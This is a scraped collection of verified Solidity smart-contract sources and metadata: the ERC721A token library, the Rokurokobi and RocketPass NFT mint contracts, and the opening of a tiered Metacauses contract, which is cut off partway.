`ownership.addr != address(0) && ownership.burned == false`) // before an unintialized ownership slot // (i.e. `ownership.addr == address(0) && ownership.burned == false`) // Hence, `curr` will not underflow. // // We can directly compare the packed value. // If the address is zero, packed will be zero. while (packed == 0) { packed = _packedOwnerships[--curr]; } return packed; } } } revert OwnerQueryForNonexistentToken(); } /** * @dev Returns the unpacked `TokenOwnership` struct from `packed`. */ function _unpackedOwnership(uint256 packed) private pure returns (TokenOwnership memory ownership) { ownership.addr = address(uint160(packed)); ownership.startTimestamp = uint64(packed >> _BITPOS_START_TIMESTAMP); ownership.burned = packed & _BITMASK_BURNED != 0; ownership.extraData = uint24(packed >> _BITPOS_EXTRA_DATA); } /** * @dev Packs ownership data into a single uint256. */ function _packOwnershipData(address owner, uint256 flags) private view returns (uint256 result) { assembly { // Mask `owner` to the lower 160 bits, in case the upper bits somehow aren't clean. owner := and(owner, _BITMASK_ADDRESS) // `owner | (block.timestamp << _BITPOS_START_TIMESTAMP) | flags`. result := or(owner, or(shl(_BITPOS_START_TIMESTAMP, timestamp()), flags)) } } /** * @dev Returns the `nextInitialized` flag set if `quantity` equals 1. */ function _nextInitializedFlag(uint256 quantity) private pure returns (uint256 result) { // For branchless setting of the `nextInitialized` flag. assembly { // `(quantity == 1) << _BITPOS_NEXT_INITIALIZED`. result := shl(_BITPOS_NEXT_INITIALIZED, eq(quantity, 1)) } } // ============================================================= // APPROVAL OPERATIONS // ============================================================= /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the * zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) public payable virtual override { address owner = ownerOf(tokenId); if (_msgSenderERC721A() != owner) if (!isApprovedForAll(owner, _msgSenderERC721A())) { revert ApprovalCallerNotOwnerNorApproved(); } _tokenApprovals[tokenId].value = to; emit Approval(owner, to, tokenId); } /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { if (!_exists(tokenId)) revert ApprovalQueryForNonexistentToken(); return _tokenApprovals[tokenId].value; } /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} * for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool approved) public virtual override { _operatorApprovals[_msgSenderERC721A()][operator] = approved; emit ApprovalForAll(_msgSenderERC721A(), operator, approved); } /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted. See {_mint}. */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _startTokenId() <= tokenId && tokenId < _currentIndex && // If within bounds, _packedOwnerships[tokenId] & _BITMASK_BURNED == 0; // and not burned. } /** * @dev Returns whether `msgSender` is equal to `approvedAddress` or `owner`. */ function _isSenderApprovedOrOwner( address approvedAddress, address owner, address msgSender ) private pure returns (bool result) { assembly { // Mask `owner` to the lower 160 bits, in case the upper bits somehow aren't clean. owner := and(owner, _BITMASK_ADDRESS) // Mask `msgSender` to the lower 160 bits, in case the upper bits somehow aren't clean. msgSender := and(msgSender, _BITMASK_ADDRESS) // `msgSender == owner || msgSender == approvedAddress`. result := or(eq(msgSender, owner), eq(msgSender, approvedAddress)) } } /** * @dev Returns the storage slot and value for the approved address of `tokenId`. */ function _getApprovedSlotAndAddress(uint256 tokenId) private view returns (uint256 approvedAddressSlot, address approvedAddress) { TokenApprovalRef storage tokenApproval = _tokenApprovals[tokenId]; // The following is equivalent to `approvedAddress = _tokenApprovals[tokenId].value`. assembly { approvedAddressSlot := tokenApproval.slot approvedAddress := sload(approvedAddressSlot) } } // ============================================================= // TRANSFER OPERATIONS // ============================================================= /** * @dev Transfers `tokenId` from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token * by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) public payable virtual override { uint256 prevOwnershipPacked = _packedOwnershipOf(tokenId); if (address(uint160(prevOwnershipPacked)) != from) revert TransferFromIncorrectOwner(); (uint256 approvedAddressSlot, address approvedAddress) = _getApprovedSlotAndAddress(tokenId); // The nested ifs save around 20+ gas over a compound boolean condition. if (!_isSenderApprovedOrOwner(approvedAddress, from, _msgSenderERC721A())) if (!isApprovedForAll(from, _msgSenderERC721A())) revert TransferCallerNotOwnerNorApproved(); if (to == address(0)) revert TransferToZeroAddress(); _beforeTokenTransfers(from, to, tokenId, 1); // Clear approvals from the previous owner. assembly { if approvedAddress { // This is equivalent to `delete _tokenApprovals[tokenId]`. sstore(approvedAddressSlot, 0) } } // Underflow of the sender's balance is impossible because we check for // ownership above and the recipient's balance can't realistically overflow. // Counter overflow is incredibly unrealistic as `tokenId` would have to be 2**256. unchecked { // We can directly increment and decrement the balances. --_packedAddressData[from]; // Updates: `balance -= 1`. ++_packedAddressData[to]; // Updates: `balance += 1`. // Updates: // - `address` to the next owner. // - `startTimestamp` to the timestamp of transfering. // - `burned` to `false`. // - `nextInitialized` to `true`. _packedOwnerships[tokenId] = _packOwnershipData( to, _BITMASK_NEXT_INITIALIZED | _nextExtraData(from, to, prevOwnershipPacked) ); // If the next slot may not have been initialized (i.e. `nextInitialized == false`) . if (prevOwnershipPacked & _BITMASK_NEXT_INITIALIZED == 0) { uint256 nextTokenId = tokenId + 1; // If the next slot's address is zero and not burned (i.e. packed value is zero). if (_packedOwnerships[nextTokenId] == 0) { // If the next slot is within bounds. if (nextTokenId != _currentIndex) { // Initialize the next slot to maintain correctness for `ownerOf(tokenId + 1)`. _packedOwnerships[nextTokenId] = prevOwnershipPacked; } } } } emit Transfer(from, to, tokenId); _afterTokenTransfers(from, to, tokenId, 1); } /** * @dev Equivalent to `safeTransferFrom(from, to, tokenId, '')`. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public payable virtual override { safeTransferFrom(from, to, tokenId, ''); } /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token * by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement * {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public payable virtual override { transferFrom(from, to, tokenId); if (to.code.length != 0) if (!_checkContractOnERC721Received(from, to, tokenId, _data)) { revert TransferToNonERC721ReceiverImplementer(); } } /** * @dev Hook that is called before a set of serially-ordered token IDs * are about to be transferred. This includes minting. * And also called before burning one token. * * `startTokenId` - the first token ID to be transferred. * `quantity` - the amount to be transferred. * * Calling conditions: * * - When `from` and `to` are both non-zero, `from`'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, `tokenId` will be burned by `from`. * - `from` and `to` are never both zero. */ function _beforeTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} /** * @dev Hook that is called after a set of serially-ordered token IDs * have been transferred. This includes minting. * And also called after one token has been burned. * * `startTokenId` - the first token ID to be transferred. * `quantity` - the amount to be transferred. * * Calling conditions: * * - When `from` and `to` are both non-zero, `from`'s `tokenId` has been * transferred to `to`. * - When `from` is zero, `tokenId` has been minted for `to`. * - When `to` is zero, `tokenId` has been burned by `from`. * - `from` and `to` are never both zero. */ function _afterTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} /** * @dev Private function to invoke {IERC721Receiver-onERC721Received} on a target contract. * * `from` - Previous owner of the given token ID. * `to` - Target address that will receive the token. * `tokenId` - Token ID to be transferred. * `_data` - Optional data to send along with the call. * * Returns whether the call correctly returned the expected magic value. */ function _checkContractOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { try ERC721A__IERC721Receiver(to).onERC721Received(_msgSenderERC721A(), from, tokenId, _data) returns ( bytes4 retval ) { return retval == ERC721A__IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert TransferToNonERC721ReceiverImplementer(); } else { assembly { revert(add(32, reason), mload(reason)) } } } } // ============================================================= // MINT OPERATIONS // ============================================================= /** * @dev Mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `quantity` must be greater than 0. * * Emits a {Transfer} event for each mint. */ function _mint(address to, uint256 quantity) internal virtual { uint256 startTokenId = _currentIndex; if (quantity == 0) revert MintZeroQuantity(); _beforeTokenTransfers(address(0), to, startTokenId, quantity); // Overflows are incredibly unrealistic. // `balance` and `numberMinted` have a maximum limit of 2**64. // `tokenId` has a maximum limit of 2**256. unchecked { // Updates: // - `balance += quantity`. // - `numberMinted += quantity`. // // We can directly add to the `balance` and `numberMinted`. _packedAddressData[to] += quantity * ((1 << _BITPOS_NUMBER_MINTED) | 1); // Updates: // - `address` to the owner. // - `startTimestamp` to the timestamp of minting. // - `burned` to `false`. // - `nextInitialized` to `quantity == 1`. _packedOwnerships[startTokenId] = _packOwnershipData( to, _nextInitializedFlag(quantity) | _nextExtraData(address(0), to, 0) ); uint256 toMasked; uint256 end = startTokenId + quantity; // Use assembly to loop and emit the `Transfer` event for gas savings. // The duplicated `log4` removes an extra check and reduces stack juggling. // The assembly, together with the surrounding Solidity code, have been // delicately arranged to nudge the compiler into producing optimized opcodes. assembly { // Mask `to` to the lower 160 bits, in case the upper bits somehow aren't clean. toMasked := and(to, _BITMASK_ADDRESS) // Emit the `Transfer` event. log4( 0, // Start of data (0, since no data). 0, // End of data (0, since no data). _TRANSFER_EVENT_SIGNATURE, // Signature. 0, // `address(0)`. toMasked, // `to`. startTokenId // `tokenId`. ) // The `iszero(eq(,))` check ensures that large values of `quantity` // that overflows uint256 will make the loop run out of gas. // The compiler will optimize the `iszero` away for performance. for { let tokenId := add(startTokenId, 1) } iszero(eq(tokenId, end)) { tokenId := add(tokenId, 1) } { // Emit the `Transfer` event. Similar to above. log4(0, 0, _TRANSFER_EVENT_SIGNATURE, 0, toMasked, tokenId) } } if (toMasked == 0) revert MintToZeroAddress(); _currentIndex = end; } _afterTokenTransfers(address(0), to, startTokenId, quantity); } /** * @dev Mints `quantity` tokens and transfers them to `to`. * * This function is intended for efficient minting only during contract creation. * * It emits only one {ConsecutiveTransfer} as defined in * [ERC2309](https://eips.ethereum.org/EIPS/eip-2309), * instead of a sequence of {Transfer} event(s). * * Calling this function outside of contract creation WILL make your contract * non-compliant with the ERC721 standard. * For full ERC721 compliance, substituting ERC721 {Transfer} event(s) with the ERC2309 * {ConsecutiveTransfer} event is only permissible during contract creation. * * Requirements: * * - `to` cannot be the zero address. * - `quantity` must be greater than 0. * * Emits a {ConsecutiveTransfer} event. */ function _mintERC2309(address to, uint256 quantity) internal virtual { uint256 startTokenId = _currentIndex; if (to == address(0)) revert MintToZeroAddress(); if (quantity == 0) revert MintZeroQuantity(); if (quantity > _MAX_MINT_ERC2309_QUANTITY_LIMIT) revert MintERC2309QuantityExceedsLimit(); _beforeTokenTransfers(address(0), to, startTokenId, quantity); // Overflows are unrealistic due to the above check for `quantity` to be below the limit. unchecked { // Updates: // - `balance += quantity`. // - `numberMinted += quantity`. // // We can directly add to the `balance` and `numberMinted`. _packedAddressData[to] += quantity * ((1 << _BITPOS_NUMBER_MINTED) | 1); // Updates: // - `address` to the owner. // - `startTimestamp` to the timestamp of minting. // - `burned` to `false`. // - `nextInitialized` to `quantity == 1`. _packedOwnerships[startTokenId] = _packOwnershipData( to, _nextInitializedFlag(quantity) | _nextExtraData(address(0), to, 0) ); emit ConsecutiveTransfer(startTokenId, startTokenId + quantity - 1, address(0), to); _currentIndex = startTokenId + quantity; } _afterTokenTransfers(address(0), to, startTokenId, quantity); } /** * @dev Safely mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - If `to` refers to a smart contract, it must implement * {IERC721Receiver-onERC721Received}, which is called for each safe transfer. * - `quantity` must be greater than 0. * * See {_mint}. * * Emits a {Transfer} event for each mint. */ function _safeMint( address to, uint256 quantity, bytes memory _data ) internal virtual { _mint(to, quantity); unchecked { if (to.code.length != 0) { uint256 end = _currentIndex; uint256 index = end - quantity; do { if (!_checkContractOnERC721Received(address(0), to, index++, _data)) { revert TransferToNonERC721ReceiverImplementer(); } } while (index < end); // Reentrancy protection. if (_currentIndex != end) revert(); } } } /** * @dev Equivalent to `_safeMint(to, quantity, '')`. */ function _safeMint(address to, uint256 quantity) internal virtual { _safeMint(to, quantity, ''); } // ============================================================= // BURN OPERATIONS // ============================================================= /** * @dev Equivalent to `_burn(tokenId, false)`. */ function _burn(uint256 tokenId) internal virtual { _burn(tokenId, false); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId, bool approvalCheck) internal virtual { uint256 prevOwnershipPacked = _packedOwnershipOf(tokenId); address from = address(uint160(prevOwnershipPacked)); (uint256 approvedAddressSlot, address approvedAddress) = _getApprovedSlotAndAddress(tokenId); if (approvalCheck) { // The nested ifs save around 20+ gas over a compound boolean condition. if (!_isSenderApprovedOrOwner(approvedAddress, from, _msgSenderERC721A())) if (!isApprovedForAll(from, _msgSenderERC721A())) revert TransferCallerNotOwnerNorApproved(); } _beforeTokenTransfers(from, address(0), tokenId, 1); // Clear approvals from the previous owner. assembly { if approvedAddress { // This is equivalent to `delete _tokenApprovals[tokenId]`. sstore(approvedAddressSlot, 0) } } // Underflow of the sender's balance is impossible because we check for // ownership above and the recipient's balance can't realistically overflow. // Counter overflow is incredibly unrealistic as `tokenId` would have to be 2**256. unchecked { // Updates: // - `balance -= 1`. // - `numberBurned += 1`. // // We can directly decrement the balance, and increment the number burned. // This is equivalent to `packed -= 1; packed += 1 << _BITPOS_NUMBER_BURNED;`. _packedAddressData[from] += (1 << _BITPOS_NUMBER_BURNED) - 1; // Updates: // - `address` to the last owner. // - `startTimestamp` to the timestamp of burning. // - `burned` to `true`. // - `nextInitialized` to `true`. _packedOwnerships[tokenId] = _packOwnershipData( from, (_BITMASK_BURNED | _BITMASK_NEXT_INITIALIZED) | _nextExtraData(from, address(0), prevOwnershipPacked) ); // If the next slot may not have been initialized (i.e. `nextInitialized == false`) . if (prevOwnershipPacked & _BITMASK_NEXT_INITIALIZED == 0) { uint256 nextTokenId = tokenId + 1; // If the next slot's address is zero and not burned (i.e. packed value is zero). if (_packedOwnerships[nextTokenId] == 0) { // If the next slot is within bounds. if (nextTokenId != _currentIndex) { // Initialize the next slot to maintain correctness for `ownerOf(tokenId + 1)`. _packedOwnerships[nextTokenId] = prevOwnershipPacked; } } } } emit Transfer(from, address(0), tokenId); _afterTokenTransfers(from, address(0), tokenId, 1); // Overflow not possible, as _burnCounter cannot be exceed _currentIndex times. unchecked { _burnCounter++; } } // ============================================================= // EXTRA DATA OPERATIONS // ============================================================= /** * @dev Directly sets the extra data for the ownership data `index`. */ function _setExtraDataAt(uint256 index, uint24 extraData) internal virtual { uint256 packed = _packedOwnerships[index]; if (packed == 0) revert OwnershipNotInitializedForExtraData(); uint256 extraDataCasted; // Cast `extraData` with assembly to avoid redundant masking. assembly { extraDataCasted := extraData } packed = (packed & _BITMASK_EXTRA_DATA_COMPLEMENT) | (extraDataCasted << _BITPOS_EXTRA_DATA); _packedOwnerships[index] = packed; } /** * @dev Called during each token transfer to set the 24bit `extraData` field. * Intended to be overridden by the cosumer contract. * * `previousExtraData` - the value of `extraData` before transfer. * * Calling conditions: * * - When `from` and `to` are both non-zero, `from`'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, `tokenId` will be burned by `from`. * - `from` and `to` are never both zero. */ function _extraData( address from, address to, uint24 previousExtraData ) internal view virtual returns (uint24) {} /** * @dev Returns the next extra data for the packed ownership data. * The returned result is shifted into position. */ function _nextExtraData( address from, address to, uint256 prevOwnershipPacked ) private view returns (uint256) { uint24 extraData = uint24(prevOwnershipPacked >> _BITPOS_EXTRA_DATA); return uint256(_extraData(from, to, extraData)) << _BITPOS_EXTRA_DATA; } // ============================================================= // OTHER OPERATIONS // ============================================================= /** * @dev Returns the message sender (defaults to `msg.sender`). * * If you are writing GSN compatible contracts, you need to override this function. */ function _msgSenderERC721A() internal view virtual returns (address) { return msg.sender; } /** * @dev Converts a uint256 to its ASCII string decimal representation. */ function _toString(uint256 value) internal pure virtual returns (string memory str) { assembly { // The maximum value of a uint256 contains 78 digits (1 byte per digit), but // we allocate 0xa0 bytes to keep the free memory pointer 32-byte word aligned. // We will need 1 word for the trailing zeros padding, 1 word for the length, // and 3 words for a maximum of 78 digits. Total: 5 * 0x20 = 0xa0. let m := add(mload(0x40), 0xa0) // Update the free memory pointer to allocate. mstore(0x40, m) // Assign the `str` to the end. str := sub(m, 0x20) // Zeroize the slot after the string. mstore(str, 0) // Cache the end of the memory to calculate the length later. let end := str // We write the string from rightmost digit to leftmost digit. // The following is essentially a do-while loop that also handles the zero case. // prettier-ignore for { let temp := value } 1 {} { str := sub(str, 1) // Write the character to the pointer. // The ASCII index of the '0' character is 48. mstore8(str, add(48, mod(temp, 10))) // Keep dividing `temp` until zero. temp := div(temp, 10) // prettier-ignore if iszero(temp) { break } } let length := sub(end, str) // Move the pointer 32 bytes leftwards to make room for the length. str := sub(str, 0x20) // Store the length. mstore(str, length) } } } // ERC721A Contracts v4.2.3 // Creator: Chiru Labs pragma solidity ^0.8.9; contract Rokurokobi is ERC721A, Ownable { using Strings for uint256; uint256 public maxSupply = 400; uint256 public mintPrice = .005 ether; uint256 public maxPerWallet = 3; bool public paused = true; mapping(address => uint256) public walletsMintCount; string public baseURI = "ipfs://QmS2c9xrJaPZsBgcCDPpCfTB9FXmbTCz7Lpd4L19q9yxEd/"; constructor() ERC721A("Rokurokobi", "KOBI") {} function mint(uint256 amount) external payable { require(!paused, "Mint paused!"); require( (totalSupply() + amount) <= maxSupply, "Max supply exceeded!" ); require( (walletsMintCount[msg.sender] + amount) <= maxPerWallet, "Max mint exceeded!" ); require(msg.value >= (mintPrice * amount), "Wrong mint price!"); walletsMintCount[msg.sender] += amount; _safeMint(msg.sender, amount); } function reserveMint(address receiver, uint256 mintAmount) external onlyOwner { _safeMint(receiver, mintAmount); } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require( _exists(tokenId), "ERC721Metadata: URI query for nonexistent token" ); return string(abi.encodePacked(baseURI, tokenId.toString(), ".json")); } function _baseURI() internal view virtual override returns (string memory) { return baseURI; } function _startTokenId() internal view virtual override returns (uint256) { return 1; } function setBaseURI(string memory uri) public onlyOwner { baseURI = uri; } function startSale() external onlyOwner { paused = !paused; } function setSupply(uint256 _newSupply) external onlyOwner { maxSupply = _newSupply; } function setPrice(uint256 _newPrice) external onlyOwner { mintPrice = _newPrice; } function withdraw() external onlyOwner { (bool success, ) = payable(msg.sender).call{ value: address(this).balance }(""); require(success, "Transfer failed."); } }

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v0.8.17+commit.8df45f5f

Default

MIT

ipfs://54b3b47f4cc47e03c0d6151132e0e52a532d9a05e62f1a2ecb6f0337a5276d77

RocketPass

RocketPass.sol

0xb50b3d5b519e5df96275a09deccc6080dc0800d9

Solidity

// SPDX-License-Identifier: MIT pragma solidity >=0.8.13; error CallerNotOwner(); error NewOwnerAddressZero(); abstract contract ERC1155SingleTokenPausable { event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 amount); event ApprovalForAll(address indexed owner, address indexed operator, bool approved); event URI(string value, uint256 indexed id); event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); mapping(address => mapping(uint256 => uint256)) private _balanceOf; mapping(address => mapping(address => bool)) private _isApprovedForAll; string public name; string public symbol; address public owner; bool public isPaused; constructor (string memory _name, string memory _symbol){ name = _name; symbol = _symbol; _transferOwnership(msg.sender); } function uri(uint256 id) public view virtual returns (string memory); function balanceOf(address _address, uint256 id) public view returns (uint256) { return _balanceOf[_address][id]; } function isApprovedForAll(address _owner, address operator) public view returns (bool) { return _isApprovedForAll[_owner][operator]; } function setApprovalForAll(address operator, bool approved) public { _isApprovedForAll[msg.sender][operator] = approved; emit ApprovalForAll(msg.sender, operator, approved); } function transferFrom(address from, address to, uint256 id, uint256 amount) public { require(!isPaused, "RocketPass is currently locked."); require(msg.sender == from || _isApprovedForAll[from][msg.sender], "Lacks Permissions"); _balanceOf[from][id] -= amount; _balanceOf[to][id] += amount; emit TransferSingle(msg.sender, from, to, 1, amount); } function safeTransferFrom(address from, address to, uint256 id, uint256 amount, bytes calldata data) public { transferFrom(from, to, id, amount); require(to.code.length == 0 ? to != address(0) : ERC1155TokenReceiver(to).onERC1155Received(msg.sender, from, id, amount, data) == ERC1155TokenReceiver.onERC1155Received.selector, "Unsafe Destination" ); } function _mint(address to, uint256 amount) internal { _balanceOf[to][1] += amount; emit TransferSingle(msg.sender, address(0), to, 1, amount); } function _safeMint(address to, uint256 amount, bytes memory data) internal { _mint(to, amount); require(to.code.length == 0 ? to != address(0) : ERC1155TokenReceiver(to).onERC1155Received(msg.sender, address(0), 1, amount, data) == ERC1155TokenReceiver.onERC1155Received.selector, "Unsafe Destination" ); } function supportsInterface(bytes4 interfaceId) public view virtual returns (bool) { return interfaceId == 0x01ffc9a7 || interfaceId == 0xd9b67a26 || interfaceId == 0x0e89341c; } function flipPauseState() external onlyOwner { if (isPaused){ delete isPaused; } else { isPaused = true; } } function renounceOwnership() public onlyOwner { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public onlyOwner { if (newOwner == address(0)) revert NewOwnerAddressZero(); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal { address oldOwner = owner; owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } modifier onlyOwner() { if (owner != msg.sender) revert CallerNotOwner(); _; } } abstract contract ERC1155TokenReceiver { function onERC1155Received(address, address, uint256, uint256, bytes calldata) external virtual returns (bytes4) { return ERC1155TokenReceiver.onERC1155Received.selector; } } interface IOGMiner { function balanceOf(address owner) external view returns (uint256); } interface IHASH{ function balanceOf(address account) external view returns (uint256); function burnHash(uint256 _amount) external; function approve(address spender, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); } contract RocketPass is ERC1155SingleTokenPausable { uint256 public constant hashPrice = 600 ether; uint256 public constant ethOGPrice = .05 ether; uint256 public constant ethRLPrice = .069 ether; uint256 public stateHashMint; uint256 public stateEthMint; bytes32 public RLMerkleRoot; string public passURI = "ipfs://QmbtHrneD8JnBtS5YFPfjaiXKexhs3DkYzP3SKg9ypqpVY"; bool public permanentlyClosedMint; IOGMiner public og; IHASH public hashpower; mapping(address => uint256) public OGMints; mapping(address => uint256) public RLMints; constructor(address _hContract, address _ogContract) ERC1155SingleTokenPausable("BMC Rocket Pass", "RKTPASS"){ og = IOGMiner(_ogContract); hashpower = IHASH(_hContract); _mint(msg.sender, 100); } modifier onlyHuman() { require(tx.origin == msg.sender && msg.sender.code.length == 0, "No Contracts"); _; } function mintWithHash(uint256 _amount) external onlyHuman { require(stateHashMint > 0, "Sale Closed"); uint256 hashToBurn = hashPrice*_amount; require(hashpower.balanceOf(msg.sender)>=hashToBurn, "Not enough Hash Owned"); require(hashpower.allowance(msg.sender, address(this)) >= hashToBurn, "Insufficient allowed hash"); hashpower.transferFrom(msg.sender, address(this), hashToBurn); _mint(msg.sender, _amount); } function mintWithOG(uint256 _amount) external payable onlyHuman { require(stateEthMint > 0, "Sale Closed"); require(og.balanceOf(msg.sender) - OGMints[msg.sender] > 0, "No Remaining OG Mints"); uint256 costEth = ethOGPrice * _amount; require(msg.value >= costEth, "Not enough Eth attached"); unchecked { // Cannot overflow since we checked they have sufficient OG balance and ETH OGMints[msg.sender] += _amount; } _mint(msg.sender, _amount); } function mintRL(bytes32[] calldata _proof) external payable onlyHuman { require(stateEthMint > 0, "Sale Closed"); require(verifyRL(_proof, RLMerkleRoot, keccak256(abi.encodePacked(msg.sender))), "Not on ML"); require(RLMints[msg.sender] == 0, "Already ML Minted"); require(msg.value >= ethRLPrice, "Not enough Eth attached"); RLMints[msg.sender]++; _mint(msg.sender, 1); } function setState(uint256 _category, uint256 _value) external onlyOwner { bool adjusted; require(!permanentlyClosedMint, "Mint states permanently locked"); if (_category == 0){ stateHashMint = _value; adjusted = true; } if (_category == 1){ stateEthMint = _value; adjusted = true; } require(adjusted, "Incorrect parameters"); } function permanentlyCloseMint() external onlyOwner { require(!permanentlyClosedMint, "Already permanently locked"); delete stateHashMint; delete stateEthMint; permanentlyClosedMint = true; } function BurnTheHash() external onlyOwner { hashpower.burnHash(hashpower.balanceOf(address(this))); } function setURI(string calldata _newURI) external onlyOwner { passURI = _newURI; emit URI(_newURI, 1); } function setRoot(bytes32 _newROOT) external onlyOwner { RLMerkleRoot = _newROOT; } function setHASHPOWER(address _address) external onlyOwner { hashpower = IHASH(_address); } function setOG(address _address) external onlyOwner { og = IOGMiner(_address); } function verifyHashBalance(address _address) public view returns (bool){ return (hashpower.balanceOf(_address) - hashPrice) > 0; } function verifyHashApproved(address _address) public view returns (bool){ return hashpower.allowance(_address, address(this)) >= hashPrice; } function verifyOG(address _address) public view returns (bool){ return (og.balanceOf(_address) - OGMints[_address]) > 0; } function verifyRL(bytes32[] memory proof, bytes32 root, bytes32 leaf) internal pure returns (bool) { bytes32 computedHash = leaf; uint256 iterations = proof.length; for (uint256 i; i < iterations; i++) { bytes32 proofElement = proof[i]; if (computedHash <= proofElement) { computedHash = keccak256(abi.encodePacked(computedHash, proofElement)); } else { computedHash = keccak256(abi.encodePacked(proofElement, computedHash)); } } return computedHash == root; } function uri(uint256 id) public view override returns (string memory){ return passURI; } function withdrawFunding() external onlyOwner { uint256 currentBalance = address(this).balance; (bool sent, ) = address(msg.sender).call{value: currentBalance}(''); require(sent,"Error while transferring balance"); } }

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IHASH","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"},{"internalType":"address","name":"operator","type":"address"}],"name":"isApprovedForAll","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"isPaused","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32[]","name":"_proof","type":"bytes32[]"}],"name":"mintRL","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"mintWithHash","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"mintWithOG","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"og","outputs":[{"internalType":"contract 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v0.8.13+commit.abaa5c0e

0000000000000000000000007b32982a32bb71150fcaa99bfbaddd72c1775a1000000000000000000000000047bd71b482b27ebdb57af6e372cab46c7280bf44

Default

MIT

ipfs://edf5ca49a9dcc532119d8df01ae45931fb20cc043ac077509b14bd246f36301d

Metacauses

contracts/Metacauses.sol

0x2db036d52daf65c15fb40df926bc2efb02713461

Solidity

/* _____ ______ _______ _________ ________ ________ ________ ___ ___ ________ _______ ________ |\ _ \ _ \|\ ___ \|\___ ___\\ __ \|\ ____\|\ __ \|\ \|\ \|\ ____\|\ ___ \ |\ ____\ \ \ \\\__\ \ \ \ __/\|___ \ \_\ \ \|\ \ \ \___|\ \ \|\ \ \ \\\ \ \ \___|\ \ __/|\ \ \___|_ \ \ \\|__| \ \ \ \_|/__ \ \ \ \ \ __ \ \ \ \ \ __ \ \ \\\ \ \_____ \ \ \_|/_\ \_____ \ \ \ \ \ \ \ \ \_|\ \ \ \ \ \ \ \ \ \ \ \____\ \ \ \ \ \ \\\ \|____|\ \ \ \_|\ \|____|\ \ \ \__\ \ \__\ \_______\ \ \__\ \ \__\ \__\ \_______\ \__\ \__\ \_______\____\_\ \ \_______\____\_\ \ \|__| \|__|\|_______| \|__| \|__|\|__|\|_______|\|__|\|__|\|_______|\_________\|_______|\_________\ \|_________| \|_________| */ pragma solidity ^0.8.7; contract Metacauses is ERC1155, Ownable { /******************************************************* *@dev: Sale Status incase Contract needs to be paused.* *******************************************************/ bool public pause = false; /****************************************************** * @dev: Creation of price rates and tier IDs * ******************************************************/ uint256 public constant BRONZE_PRICE = 0.01 ether; uint256 public constant SILVER_PRICE = 0.03 ether; uint256 public constant GOLD_PRICE = 0.07 ether; uint256 public constant PLAT_PRICE = 0.15 ether; uint256 public constant DIAMOND_PRICE = 0.25 ether; uint256 public constant BRONZE_ID = 1; uint256 public constant SILVER_ID = 2; uint256 public constant GOLD_ID = 3; uint256 public constant PLAT_ID = 4; uint256 public constant DIAMOND_ID = 5; constructor() ERC1155("https://ipfs.io/ipfs/QmRvccL8mQdWGdXwTf3d4u8F6R11nWysH75LFE23NCKELj/{id}.json") {} /****************************************************** *@dev: Start of the mint functions based on the tier.* ******************************************************/ function bronzeMint(uint256 id, uint256 amount) public payable { require(id == BRONZE_ID, "Not the correct token for this mint function."); require(!pause, "Sale is not live!"); require(amount > 0, "You must 